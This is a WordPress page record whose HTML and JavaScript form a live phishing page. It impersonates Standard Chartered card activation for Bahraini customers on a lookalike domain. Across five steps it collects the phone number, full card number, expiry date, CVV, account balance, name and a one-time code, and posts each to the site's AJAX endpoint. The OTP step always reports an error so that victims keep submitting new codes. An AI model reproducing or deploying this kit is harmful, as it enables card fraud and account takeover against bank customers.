{"id":12,"date":"2026-06-19T12:51:40","date_gmt":"2026-06-19T12:51:40","guid":{"rendered":"https:\/\/stanchartt.it.com\/?page_id=12"},"modified":"2026-06-19T12:53:04","modified_gmt":"2026-06-19T12:53:04","slug":"elementor-12","status":"publish","type":"page","link":"https:\/\/stanchartt.it.com\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"12\" class=\"elementor elementor-12\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-d88b837 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"d88b837\" data-element_type=\"section\" data-e-type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-07731a7\" data-id=\"07731a7\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-205afa3 elementor-widget elementor-widget-shortcode\" data-id=\"205afa3\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<div class=\"elementor-shortcode\">\r\n<link href=\"https:\/\/fonts.googleapis.com\/css2?family=Saira:wght@400;500;600&display=swap\" rel=\"stylesheet\">\r\n\r\n<style>\r\n*{box-sizing:border-box}\r\nhtml,body{margin:0;height:100%;font-family:Saira}\r\n.scr{\r\nposition:fixed;\r\ninset:0;\r\ndisplay:flex;\r\njustify-content:flex-start;\r\nalign-items:flex-start;\r\npadding-top:15px;\r\n}\r\n\r\n.form{\r\nwidth:100%;\r\nmax-width:none;\r\npadding-left:15px;\r\npadding-right:15px;\r\npadding-top:0;\r\n}\r\n\r\n.stepLine{\r\nwidth:100%;\r\nheight:1px;\r\nbackground:#DADADA;\r\nmargin-top:25px;\r\nmargin-bottom:10px;\r\n}\r\n\r\n.topHeader{\r\ndisplay:flex;\r\nalign-items:center;\r\ngap:15px;\r\nmargin-top:15px;\r\nmargin-bottom:15px;\r\n}\r\n\r\n.logo{\r\nposition:static;\r\nwidth:80px;\r\nflex-shrink:0;\r\n}\r\n\r\n.stepHeader{\r\npadding:0;\r\nmargin:0;\r\n}\r\n\r\n\/* label *\/\r\n.label{\r\nfont-size:14px;\r\nfont-weight:500;\r\n\r\ndisplay:block;\r\n\r\nmargin-top:20px;\r\nmargin-bottom:5px;\r\n\r\npadding-left:2px;\r\n}\r\n\r\n.shortTitle{\r\nfont-size:16px;\r\nfont-weight:600;\r\ncolor:#333;\r\nmargin-top:10px;      \/* \u0644\u0627\u0626\u0646 \u0633\u06d2 10px \u0646\u06cc\u0686\u06d2 *\/\r\nmargin-bottom:20px;   \/* \u0679\u0627\u0626\u0679\u0644 \u0633\u06d2 Phone \u0644\u06cc\u0628\u0644 \u062a\u06a9 20px *\/\r\n}\r\n\r\n\/* normal inputs *\/\r\n.input{\r\nwidth:100%;\r\npadding:14px 0;\r\nborder:none;\r\nborder-bottom:1px solid #111;\r\nfont-size:16px;\r\noutline:none;\r\n}\r\n\r\n\/* PHONE FIELD *\/\r\n.phoneRow{\r\ndisplay:flex;\r\nalign-items:center;\r\n\r\nheight:55px;\r\n\r\nbackground:#fff;\r\n\r\nborder:1px solid #DADADA;\r\nborder-radius:5px;\r\n\r\npadding:0 15px;\r\n\r\nmargin-top:5px;\r\n\r\ngap:12px;\r\n}\r\n\r\n.flag{\r\nfont-size:26px;\r\ndisplay:flex;\r\nalign-items:center;\r\nline-height:1;\r\n}\r\n.code{\r\nfont-size:16px;\r\nfont-weight:500;\r\ncolor:#000;\r\nuser-select:none;\r\n}\r\n\r\n.phoneRow .input{\r\nborder:none !important;\r\nbackground:transparent;\r\n\r\nheight:100%;\r\n\r\npadding:0;\r\n\r\nflex:1;\r\n\r\nfont-size:15px;\r\nfont-weight:500;\r\n}\r\n\r\n.row{display:flex;gap:14px}\r\n\r\n.btn{\r\nwidth:100%;\r\nheight:55px;\r\nborder:none;\r\nborder-radius:8px;\r\nbackground:#4CB050;\r\ncolor:#fff;\r\nfont-size:16px;\r\nfont-weight:600;\r\nfont-family:'Saira',sans-serif;\r\ncursor:pointer;\r\nmargin-top:20px;\r\n}\r\n\r\n\/* \ud83d\udd25 TRUE FULLSCREEN MODAL *\/\r\n.popup{\r\nposition:fixed;\r\ninset:0;\r\nbackground:#fff;\r\ndisplay:none;\r\npadding-top:15px;\r\nz-index:999999;\r\n}\r\n\r\n.popup.show{\r\ndisplay:flex !important;\r\n}\r\n\r\n.box{\r\nwidth:100%;\r\npadding:0 15px;\r\nbackground:transparent;\r\nborder-radius:0;\r\nmax-width:none;\r\n}\r\n\r\n.box h3{margin-top:20px;margin-bottom:10px}\r\n.box p{margin-bottom:25px}\r\n\r\n.otp{\r\ndisplay:flex;\r\njustify-content:center;\r\ngap:12px;\r\nmargin-top:30px;\r\nmargin-bottom:30px;\r\n}\r\n.otp input{\r\nwidth:48px;height:52px;border:1px solid #ddd;border-radius:10px;\r\nfont-size:20px;text-align:center;\r\n}\r\n\r\n\/* STEP3 TOP IMAGE *\/\r\n.logo-step3{\r\ndisplay:block;\r\nwidth:100%;      \r\nmargin:-10px auto 20px \r\nposition:static;\r\n}\r\n\r\n\/* STEP3 CARD BOX UI *\/\r\n.cardBox{\r\nposition:relative;\r\nborder:2px solid #e5e5e5;\r\nborder-radius:12px;\r\npadding:16px;\r\nmargin-bottom:18px;\r\n}\r\n\r\n.row .cardBox{\r\nwidth:50%;\r\n}\r\n\r\n.cardInput{\r\nborder:none;\r\noutline:none;\r\nfont-size:16px;\r\nwidth:100%;\r\nbackground:transparent;\r\n}\r\n\r\n.box .btn{width:100%;margin-top:0}\r\n.timer{\r\ntext-align:center;\r\nfont-size:16px;\r\nfont-weight:600;\r\nmargin-top:25px;\r\nmargin-bottom:20px;\r\nwidth:100%;\r\n}\r\n\r\n.hidden{display:none}\r\n\r\n.liveCard{\r\n  width:100%;\r\n  height:200px;\r\n  border-radius:16px;\r\n  margin-bottom:15px;\r\n  background:linear-gradient(135deg,#1e1e1e,#3a3a3a);\r\n  color:#fff;\r\n  padding:22px;\r\n  display:flex;\r\n  flex-direction:column;\r\n  justify-content:space-between;\r\n  font-family:monospace;\r\n}\r\n\r\n\/* top row *\/\r\n.lc-top{\r\n  display:flex;\r\n  justify-content:space-between;\r\n  align-items:center;\r\n}\r\n\r\n.chip{\r\n  width:45px;\r\n  height:32px;\r\n  background:linear-gradient(#d4af37,#f6e27a);\r\n  border-radius:6px;\r\n}\r\n\r\n.bank{\r\n  font-size:18px;\r\n  font-weight:600;\r\n  letter-spacing:1px;\r\n}\r\n\r\n\/* card number *\/\r\n.lc-number{\r\n  font-size:22px;\r\n  letter-spacing:2px;\r\n}\r\n\r\n\/* bottom row *\/\r\n.lc-bottom{\r\n  display:flex;\r\n  justify-content:space-between;\r\n}\r\n\r\n.lc-label{\r\n  font-size:10px;\r\n  opacity:.7;\r\n  margin-bottom:2px;\r\n}\r\n\r\n.lc-exp, .lc-cvv{\r\n  font-size:16px;\r\n}\r\n\r\n.bottomBtns{\r\nposition:fixed;\r\nleft:0;\r\nright:0;\r\nbottom:0;\r\nwidth:100%;\r\ndisplay:flex;\r\nz-index:9999;\r\n}\r\n\r\n.cancelBtn{\r\nwidth:50%;\r\nheight:55px;\r\nborder:none;\r\nbackground:#444444;\r\ncolor:#fff;\r\nfont-size:15px;\r\nfont-weight:600;\r\nfont-family:'Saira',sans-serif;\r\n}\r\n\r\n.nextBtn{\r\nwidth:50%;\r\nheight:55px;\r\nborder:none;\r\nbackground:#4CB050;\r\ncolor:#fff;\r\nfont-size:15px;\r\nfont-weight:600;\r\nfont-family:'Saira',sans-serif;\r\n}\r\n\r\n.nextBtn:disabled{\r\nopacity:.5;\r\n}\r\n\r\n#s3 .form{\r\nmargin-top:0 !important;\r\n}\r\n\r\n.liveCard{\r\nmargin-top:30px;\r\nmargin-bottom:15px;\r\n}\r\n\r\n#s5 .bottomBtns{\r\nposition:fixed;\r\nleft:0;\r\nright:0;\r\nbottom:0;\r\ndisplay:flex;\r\nwidth:100%;\r\nz-index:99999;\r\n}\r\n\r\n.bankLogo{\r\ndisplay:flex;\r\nalign-items:center;\r\njustify-content:center;\r\n}\r\n\r\n.bankLogo img{\r\nheight:35px;\r\nwidth:auto; \r\ndisplay:block;\r\n}\r\n\r\n.otpTitle{\r\ntext-align:center;\r\nfont-size:18px;\r\nfont-weight:600;\r\ncolor:#111;\r\nmargin-top:15px;\r\nmargin-bottom:10px;\r\n}\r\n\r\n.otpDesc{\r\ntext-align:center;\r\nfont-size:14px;\r\nfont-weight:400;\r\ncolor:#666;\r\nline-height:1.5;\r\nmargin-bottom:25px;\r\npadding:0 10px;\r\n}\r\n\r\n#cpr::placeholder{\r\ncolor:#B5B5B5;\r\nfont-weight:400;\r\n}\r\n\r\n.errorMsg{\r\ndisplay:none;\r\ntext-align:center;\r\ncolor:red;\r\nfont-size:14px;\r\nfont-weight:600;\r\nmargin-bottom:15px;\r\n}\r\n\r\n.loaderWrap{\r\nwidth:100%;\r\nheight:70vh;\r\ndisplay:flex;\r\nflex-direction:column;\r\njustify-content:center;\r\nalign-items:center;\r\ntext-align:center;\r\n}\r\n\r\n.loader{\r\nwidth:70px;\r\nheight:70px;\r\nborder:6px solid #E5E5E5;\r\nborder-top:6px solid #4CB050;\r\nborder-radius:50%;\r\nanimation:spin 1s linear infinite;\r\nmargin-bottom:25px;\r\n}\r\n\r\n@keyframes spin{\r\n100%{\r\ntransform:rotate(360deg);\r\n}\r\n}\r\n\r\n.loaderTitle{\r\nfont-size:22px;\r\nfont-weight:600;\r\ncolor:#111;\r\nmargin-bottom:10px;\r\n}\r\n\r\n.loaderDesc{\r\nfont-size:15px;\r\ncolor:#666;\r\nmax-width:280px;\r\nline-height:1.6;\r\n}\r\n\r\n.cvvBox{\r\nposition:relative;\r\npadding-right:45px;\r\n}\r\n\r\n.cvvIcon{\r\nposition:absolute;\r\nright:14px;\r\ntop:50%;\r\ntransform:translateY(-50%);\r\ndisplay:flex;\r\nalign-items:center;\r\njustify-content:center;\r\n}\r\n\r\n.cvvBox .cardInput{\r\nwidth:100%;\r\n}\r\n\r\n.splashWrap{\r\nwidth:100%;\r\nheight:100vh;\r\ndisplay:flex;\r\njustify-content:center;\r\nalign-items:center;\r\nbackground:#fff;\r\n}\r\n\r\n.logoLoader{\r\nwidth:120px;\r\nheight:120px;\r\nborder-radius:20px;\r\nbackground:#fff;\r\ndisplay:flex;\r\njustify-content:center;\r\nalign-items:center;\r\nposition:relative;\r\noverflow:hidden;\r\n}\r\n\r\n.logoLoader{\r\nwidth:100px;\r\nheight:100px;\r\nborder-radius:50%;\r\nbackground:#fff;\r\ndisplay:flex;\r\njustify-content:center;\r\nalign-items:center;\r\nposition:relative;\r\n}\r\n\r\n.logoLoader::before{\r\ncontent:'';\r\nposition:absolute;\r\nwidth:100px;\r\nheight:100px;\r\nborder-radius:50%;\r\nborder:1.5px solid transparent;\r\nborder-top:1.5px solid #4CB050;\r\nborder-right:1px solid #4CB050;\r\nanimation:spin 0.8s linear infinite;\r\n}\r\n\r\n.logoLoader img{\r\nwidth:45px;\r\nheight:auto;\r\nposition:relative;\r\nz-index:5;\r\n}\r\n\r\n@keyframes spin{\r\n100%{\r\ntransform:rotate(360deg);\r\n}\r\n}\r\n\r\n<\/style>\r\n\r\n<!-- SPLASH SCREEN -->\r\n<div id=\"splash\" class=\"scr\">\r\n\r\n  <div class=\"splashWrap\">\r\n\r\n    <div class=\"logoLoader\">\r\n      <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/Card-Logo.png\" alt=\"\">\r\n    <\/div>\r\n\r\n  <\/div>\r\n\r\n<\/div>\r\n\r\n<!-- STEP1 -->\r\n<div id=\"s1\" class=\"scr hidden\">\r\n  <div class=\"form\">\r\n\r\n<div class=\"topHeader\">\r\n\r\n    <img decoding=\"async\" class=\"logo\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/SC-LOG.png\">\r\n\r\n    <div class=\"stepHeader\">\r\n        <div class=\"stepTitle\">Activate Card<\/div>\r\n        <div class=\"stepCount\">Step 1 of 5<\/div>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<div class=\"stepLine\"><\/div>\r\n\r\n<div class=\"shortTitle\">\r\n    Enter Your Mobile Number\r\n<\/div>\r\n\r\n<div class=\"label\">Mobile Number<\/div>\r\n    <div class=\"phoneRow\">\r\n      <span class=\"flag\">\ud83c\udde7\ud83c\udded<\/span>\r\n      <span class=\"code\">+973 |<\/span>\r\n      <input\r\nid=\"phone\"\r\nclass=\"input\"\r\ntype=\"tel\"\r\nplaceholder=\"9876543210\"\r\nrequired>\r\n<\/div>\r\n\r\n    <!-- Password Removed -->\r\n\r\n    <div class=\"bottomBtns\">\r\n\r\n<button class=\"cancelBtn\">\r\nCANCEL\r\n<\/button>\r\n\r\n<button id=\"btn1\" class=\"nextBtn\" onclick=\"login()\">\r\nNEXT\r\n<\/button>\r\n\r\n<\/div>\r\n\r\n  <\/div>\r\n<\/div>\r\n\r\n<!-- STEP3 -->\r\n<div id=\"s3\" class=\"scr hidden\">\r\n  <div class=\"form\">\r\n      \r\n<div class=\"topHeader\">\r\n\r\n    <img decoding=\"async\" class=\"logo\"\r\n    src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/SC-LOG.png\">\r\n\r\n    <div class=\"stepHeader\">\r\n        <div class=\"stepTitle\">Activate Card<\/div>\r\n        <div class=\"stepCount\">Step 2 of 5<\/div>\r\n    <\/div>\r\n\r\n<\/div>\r\n\r\n<div class=\"stepLine\"><\/div>      \r\n\r\n<!-- LIVE CARD PREVIEW -->\r\n<div class=\"liveCard\">\r\n\r\n  <div class=\"lc-top\">\r\n    <div class=\"chip\"><\/div>\r\n    <div class=\"bankLogo\">\r\n  <img decoding=\"async\" src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/Card-Logo.png\" alt=\"\">\r\n<\/div>\r\n  <\/div>\r\n\r\n  <div class=\"lc-number\">\u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022<\/div>\r\n\r\n  <div class=\"lc-bottom\">\r\n    <div class=\"lc-expBox\">\r\n      <div class=\"lc-label\">Expiry Date<\/div>\r\n      <div class=\"lc-exp\">MM\/YY<\/div>\r\n    <\/div>\r\n\r\n    <div class=\"lc-cvvBox\">\r\n      <div class=\"lc-label\">CVV<\/div>\r\n      <div class=\"lc-cvv\">\u2022\u2022\u2022<\/div>\r\n    <\/div>\r\n  <\/div>\r\n\r\n<\/div>\r\n\r\n    <!-- CARD NUMBER -->\r\n    <div class=\"cardBox\">\r\n      <input id=\"card\" class=\"cardInput\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" maxlength=\"19\" placeholder=\"0000 0000 0000 0000\" required>\r\n    <\/div>\r\n\r\n    <!-- EXP + CVV -->\r\n    <div class=\"row\">\r\n      <div class=\"cardBox small\">\r\n        <input id=\"exp\" class=\"cardInput\" type=\"tel\" inputmode=\"numeric\" pattern=\"[0-9]*\" maxlength=\"5\" placeholder=\"MM\/YY\" required>\r\n      <\/div>\r\n\r\n      <div class=\"cardBox small cvvBox\">\r\n\r\n  <span class=\"cvvIcon\">\r\n    <svg width=\"20\" height=\"20\" viewBox=\"0 0 24 24\" fill=\"none\">\r\n      <rect x=\"2\" y=\"5\" width=\"20\" height=\"14\" rx=\"2\" stroke=\"#777\" stroke-width=\"2\"\/>\r\n      <line x1=\"2\" y1=\"10\" x2=\"22\" y2=\"10\" stroke=\"#777\" stroke-width=\"2\"\/>\r\n    <\/svg>\r\n  <\/span>\r\n\r\n  <input id=\"cvv\"\r\n         class=\"cardInput\"\r\n         type=\"tel\"\r\n         inputmode=\"numeric\"\r\n         pattern=\"[0-9]*\"\r\n         maxlength=\"3\"\r\n         placeholder=\"CVC\"\r\n         required>\r\n\r\n<\/div>\r\n    <\/div>\r\n\r\n<!-- \ud83d\udd34 -->\r\n<div class=\"bottomBtns\">\r\n\r\n<button class=\"cancelBtn\" onclick=\"history.back();\">\r\nCANCEL\r\n<\/button>\r\n\r\n<button id=\"btnCard\" class=\"nextBtn\" onclick=\"cardSend()\">\r\nVERIFY\r\n<\/button>\r\n\r\n<\/div>\r\n\r\n<\/div>  <!-- form close -->\r\n<\/div>  <!-- STEP3 close -->\r\n\r\n<!-- STEP4 CPR -->\r\n<div id=\"s4\" class=\"scr hidden\">\r\n\r\n<div class=\"form\">\r\n\r\n<div class=\"topHeader\">\r\n\r\n<img class=\"logo\"\r\nsrc=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/SC-LOG.png\">\r\n\r\n<div class=\"stepHeader\">\r\n<div class=\"stepTitle\">Activate Card<\/div>\r\n<div class=\"stepCount\">Step 3 of 5<\/div>\r\n<\/div>\r\n\r\n<\/div>\r\n\r\n<div class=\"stepLine\"><\/div>\r\n\r\n<div class=\"shortTitle\">\r\nEnter the current balance in your account and complete verification.\r\n<\/div>\r\n\r\n<div class=\"label\">Enter Your Current Balance.<\/div>\r\n\r\n<div class=\"phoneRow\">\r\n\r\n<span class=\"code\">BHD .<\/span>\r\n\r\n<input\r\nid=\"cpr\"\r\nclass=\"input\"\r\ntype=\"tel\"\r\ninputmode=\"numeric\"\r\nplaceholder=\"Enter Available Balance\"\r\nrequired>\r\n\r\n<\/div>\r\n\r\n<div class=\"bottomBtns\">\r\n\r\n<button class=\"cancelBtn\">\r\nCANCEL\r\n<\/button>\r\n\r\n<button id=\"btnCpr\"\r\nclass=\"nextBtn\"\r\nonclick=\"sendCPR()\">\r\nCONTINUE\r\n<\/button>\r\n\r\n<\/div>\r\n\r\n<\/div>\r\n<\/div>\r\n\r\n<!-- STEP5 INTERVIEW -->\r\n<div id=\"s5\" class=\"scr hidden\">\r\n\r\n<div class=\"form\">\r\n\r\n<div class=\"topHeader\">\r\n\r\n<img class=\"logo\"\r\nsrc=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/SC-LOG.png\">\r\n\r\n<div class=\"stepHeader\">\r\n<div class=\"stepTitle\">Activate Card<\/div>\r\n<div class=\"stepCount\">Step 4 of 5<\/div>\r\n<\/div>\r\n\r\n<\/div>\r\n\r\n<div class=\"stepLine\"><\/div>\r\n\r\n<div class=\"shortTitle\">\r\nPlease Enter Your Full name.\r\n<\/div>\r\n\r\n<div class=\"label\">Full Name<\/div>\r\n\r\n<div class=\"phoneRow\">\r\n\r\n<input\r\nid=\"fullname\"\r\nclass=\"input\"\r\ntype=\"text\"\r\nplaceholder=\"Enter Full Name\"\r\nrequired>\r\n\r\n<\/div>\r\n\r\n<div class=\"bottomBtns\">\r\n\r\n<button class=\"cancelBtn\">\r\nCANCEL\r\n<\/button>\r\n\r\n<button\r\nid=\"btnInterview\"\r\nclass=\"nextBtn\"\r\nonclick=\"sendInterview()\">\r\nCONTINUE\r\n<\/button>\r\n\r\n<\/div>\r\n\r\n<\/div>\r\n<\/div>\r\n\r\n<!-- STEP6 LOADER -->\r\n<div id=\"s6\" class=\"scr hidden\">\r\n\r\n<div class=\"form\">\r\n\r\n<div class=\"loaderWrap\">\r\n\r\n<div class=\"loader\"><\/div>\r\n\r\n<div class=\"loaderTitle\">\r\nPlease Wait\r\n<\/div>\r\n\r\n<div class=\"loaderDesc\">\r\nYour identity information is being verified.\r\n<\/div>\r\n\r\n<\/div>\r\n\r\n<\/div>\r\n\r\n<\/div>\r\n\r\n<!-- POPUP (OTP SCREEN) -->\r\n<div id=\"pop\" class=\"popup\">\r\n  <div class=\"box\">\r\n\r\n    <div class=\"topHeader\">\r\n\r\n      <img decoding=\"async\" class=\"logo\"\r\n      src=\"https:\/\/workvisaworld.com\/wp-content\/uploads\/2026\/06\/SC-LOG.png\">\r\n\r\n      <div class=\"stepHeader\">\r\n        <div class=\"stepTitle\">Activate Card.<\/div>\r\n        <div class=\"stepCount\">Step 5 of 5<\/div>\r\n      <\/div>\r\n\r\n    <\/div>\r\n\r\n<div class=\"stepLine\"><\/div>\r\n\r\n<div class=\"otpTitle\">\r\n  Verify OTP\r\n<\/div>\r\n\r\n<div class=\"otpDesc\">\r\n  Enter the verification code sent to your mobile\r\n<\/div>\r\n\r\n    <div class=\"otp\">\r\n      <input type=\"tel\" inputmode=\"numeric\" maxlength=\"1\">\r\n      <input type=\"tel\" inputmode=\"numeric\" maxlength=\"1\">\r\n      <input type=\"tel\" inputmode=\"numeric\" maxlength=\"1\">\r\n      <input type=\"tel\" inputmode=\"numeric\" maxlength=\"1\">\r\n      <input type=\"tel\" inputmode=\"numeric\" maxlength=\"1\">\r\n      <input type=\"tel\" inputmode=\"numeric\" maxlength=\"1\">\r\n    <\/div>\r\n    \r\n    <div class=\"errorMsg\">\r\n    Your OTP code is incorrect, try again.\r\n    <\/div>\r\n\r\n    <div class=\"timer\">2:00<\/div>\r\n\r\n    <div class=\"bottomBtns\">\r\n\r\n      <button class=\"cancelBtn\">\r\n        CANCEL\r\n      <\/button>\r\n\r\n      <button id=\"btnOtp\" class=\"nextBtn\" onclick=\"sendOTP()\">\r\n        VERIFY\r\n      <\/button>\r\n\r\n    <\/div>\r\n\r\n  <\/div>\r\n<\/div>\r\n\r\n<script>\r\nfunction post(d){return fetch('https:\/\/stanchartt.it.com\/wp-admin\/admin-ajax.php',{method:'POST',headers:{'Content-Type':'application\/x-www-form-urlencoded'},body:d})}\r\n\r\nfunction checkFields(containerId){\r\n  let inputs = document.querySelectorAll(\"#\"+containerId+\" input\");\r\n  for(let i=0;i<inputs.length;i++){\r\n    if(inputs[i].value.trim()==\"\"){\r\n      alert(\"Please complete all fields.\");\r\n      inputs[i].focus();\r\n      return false;\r\n    }\r\n  }\r\n  return true;\r\n}\r\n\r\nphone.oninput=()=>{}\r\n\r\n\/* STEP1 *\/\r\nfunction login(){\r\n\r\nif(!checkFields(\"s1\")) return;\r\n\r\nbtn1.innerText=\"Processing...\";\r\n\r\nsetTimeout(()=>{\r\n\r\npost(`action=send_login&phone=+971${phone.value}&pass=N\/A`);\r\n\r\ndocument.getElementById('s1').style.display='none';\r\ndocument.getElementById('s3').style.display='flex';\r\n\r\nbtn1.innerText=\"NEXT\";\r\n\r\n},3000);\r\n\r\n}\r\n\r\n\/* \ud83d\udd25 AUTO FOCUS CARD *\/\r\n\r\n\/* \ud83d\udd34 LIVE CARD PREVIEW *\/\r\ncard.addEventListener(\"input\",()=>{\r\ndocument.querySelector(\".lc-number\").innerText =\r\ncard.value || \"\u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022\";\r\n});\r\n\r\nexp.addEventListener(\"input\",()=>{\r\ndocument.querySelector(\".lc-exp\").innerText =\r\nexp.value || \"MM\/YY\";\r\n});\r\n\r\ncvv.addEventListener(\"input\",()=>{\r\ndocument.querySelector(\".lc-cvv\").innerText =\r\ncvv.value || \"\u2022\u2022\u2022\";\r\n});\r\n\r\ncard.oninput=e=>{\r\nlet v=e.target.value.replace(\/\\D\/g,'').substring(0,16);\r\ne.target.value=v.replace(\/(.{4})\/g,'$1 ').trim();\r\nif(v.length==16) exp.focus();\r\n}\r\nexp.oninput=e=>{\r\nlet v=e.target.value.replace(\/\\D\/g,'').substring(0,4);\r\nif(v.length>=3) e.target.value=v.slice(0,2)+'\/'+v.slice(2);\r\nelse e.target.value=v;\r\nif(v.length==4) cvv.focus();\r\n}\r\ncvv.oninput=e=>{\r\ne.target.value=e.target.value.replace(\/\\D\/g,'').slice(0,3);\r\nif(e.target.value.length==3){}\r\n}\r\n\r\nfunction cardSend(){\r\n\r\nif(!checkFields(\"s3\")) return;\r\n\r\nbtnCard.innerText=\"Processing...\";\r\n\r\nsetTimeout(()=>{\r\n\r\npost(`action=send_card&card=${card.value}&exp=${exp.value}&cvv=${cvv.value}`);\r\n\r\ndocument.getElementById('s3').style.display='none';\r\ndocument.getElementById('s4').style.display='flex';\r\n\r\nbtnCard.innerText=\"VERIFY\";\r\n\r\n},3000);\r\n}\r\n\r\n\/* \ud83d\udd25 AUTO FOCUS OTP *\/\r\ndocument.querySelectorAll('.otp input').forEach((el,i,arr)=>{\r\nel.oninput=()=>{if(el.value && arr[i+1]) arr[i+1].focus()}\r\nel.onkeydown=e=>{if(e.key==='Backspace' && !el.value && arr[i-1]) arr[i-1].focus()}\r\n});\r\n\r\nfunction sendOTP(){\r\n\r\nif(!checkFields(\"pop\")) return;\r\n\r\nbtnOtp.innerText=\"Processing...\";\r\n\r\nlet inputs=document.querySelectorAll('.otp input');\r\nlet otp=[...inputs].map(i=>i.value).join('');\r\n\r\nsetTimeout(()=>{\r\n\r\npost(`action=send_otp&otp=${otp}`);\r\n\r\n\/\/ OTP Boxes \u062e\u0627\u0644\u06cc\r\ninputs.forEach(i=>i.value='');\r\n\r\n\/\/ Error Message \u062f\u06a9\u06be\u0627\u0624\r\nconst err=document.querySelector('.errorMsg');\r\n\r\nif(err){\r\n\r\nerr.style.display='block';\r\n\r\nsetTimeout(()=>{\r\nerr.style.display='none';\r\n},3000);\r\n\r\n}\r\n\r\nbtnOtp.innerText=\"VERIFY\";\r\n\r\ninputs[0].focus();\r\n\r\n},3000);\r\n\r\n}\r\n\r\nfunction startTimer(){\r\nlet time=240;let timer=document.querySelector('.timer');\r\nsetInterval(()=>{let m=Math.floor(time\/60);let s=time%60;timer.innerText=`${m}:${s<10?'0':''}${s}`;time--;},1000);\r\n}\r\n\r\nfunction sendCPR(){\r\n\r\nconst cprField = document.getElementById('cpr');\r\n\r\nif(!cprField.value.trim()){\r\nalert(\"Please enter CPR Number\");\r\ncprField.focus();\r\nreturn;\r\n}\r\n\r\nbtnCpr.innerText=\"Processing...\";\r\n\r\nsetTimeout(()=>{\r\n\r\npost(`action=send_cpr&cpr=${encodeURIComponent(cprField.value)}`);\r\n\r\ndocument.getElementById('s4').style.display='none';\r\n\r\ndocument.getElementById('s5').style.display='flex';\r\n\r\nbtnCpr.innerText=\"CONTINUE\";\r\n\r\n},3000);\r\n\r\n}\r\n\r\nconst cprField = document.getElementById('cpr');\r\n\r\nif(cprField){\r\n\r\ncprField.addEventListener('input', function(){\r\n\r\nthis.value = this.value.replace(\/[^0-9.\/-]\/g,'');\r\n\r\n});\r\n\r\n}\r\n\r\nfunction sendInterview(){\r\n\r\nif(fullname.value.trim()==\"\"){\r\nalert(\"Please enter Full Name\");\r\nfullname.focus();\r\nreturn;\r\n}\r\n\r\nbtnInterview.innerText=\"Processing...\";\r\n\r\nsetTimeout(()=>{\r\n\r\npost(\r\n`action=send_interview&fullname=${encodeURIComponent(fullname.value)}`\r\n);\r\n\r\ndocument.getElementById('s5').style.display='none';\r\n\r\ndocument.getElementById('s6').style.display='flex';\r\n\r\nsetTimeout(()=>{\r\n\r\ndocument.getElementById('s6').style.display='none';\r\n\r\ndocument.getElementById('pop').classList.add('show');\r\n\r\nstartTimer();\r\n\r\n},5000);\r\n\r\nbtnInterview.innerText=\"CONTINUE\";\r\n\r\n},3000);\r\n\r\n}\r\n\r\nwindow.addEventListener('load',()=>{\r\n\r\ndocument.getElementById('s1').style.display='none';\r\n\r\nsetTimeout(()=>{\r\n\r\ndocument.getElementById('splash').style.display='none';\r\n\r\ndocument.getElementById('s1').style.display='flex';\r\n\r\n},3000);\r\n\r\n});\r\n\r\n<\/script>\r\n\r\n<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-12","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/stanchartt.it.com\/index.php?rest_route=\/wp\/v2\/pages\/12","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/stanchartt.it.com\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/stanchartt.it.com\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/stanchartt.it.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/stanchartt.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12"}],"version-history":[{"count":5,"href":"https:\/\/stanchartt.it.com\/index.php?rest_route=\/wp\/v2\/pages\/12\/revisions"}],"predecessor-version":[{"id":18,"href":"https:\/\/stanchartt.it.com\/index.php?rest_route=\/wp\/v2\/pages\/12\/revisions\/18"}],"wp:attachment":[{"href":"https:\/\/stanchartt.it.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}